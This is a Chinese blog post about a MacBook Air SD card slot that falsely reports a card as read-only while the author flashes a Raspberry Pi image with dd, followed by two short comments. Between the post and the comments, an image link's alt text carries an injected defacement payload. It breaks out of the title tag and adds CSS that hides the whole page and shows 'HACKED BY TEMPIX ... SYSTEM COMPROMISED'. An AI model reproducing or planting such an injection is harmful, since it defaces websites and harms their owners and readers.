最近入手了树莓派,需要用dd向SD卡中写入系统镜像,按照教程一步步进行,结果在这步卡住了:
sudo dd bs=4m if=/User/zhangshenjia/2013-02-09-wheezy-raspbian.img of=/dev/rdisk4 dd: /dev/rdisk4: Permission denied
在实用工具里的磁盘工具中查看,SD卡的状态为只读:
经测试,不管SD卡的写保护状态如何,在磁盘工具里都显示“只读”。
google一下,遇到这个问题的人很多,基本都是说mac的SD卡槽有问题,对读写开关的状态检测失灵。换了一台mac pro后发现SD卡可读,看来确实是我的mac air的SD卡槽有问题了。
尝试了各种解决方法:
1、往sd槽里用力吹气
很多人说有效,但我试了好几次都无效。而且怕把口水吹进去,所以没有再试了。
2、把读写开关扳到中间的位置
同样很多人说有效,但我这里试了好多次都无效。
3、靠边用力插入(有效)
将SD卡紧贴有写保护开关的那一边,用力插入(好邪恶)……
搞定了!看来苹果的产品也是有很多瑕疵和改进空间的嘛。希望这篇文章能帮到碰到同样问题的朋友们。
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)


用sudo
我的 macbook pro 也常常有这个问题,2011 early 版的…… 非常晕。
靠侧边也没用,后来反复插几遍就好了(咦好像哪里不对)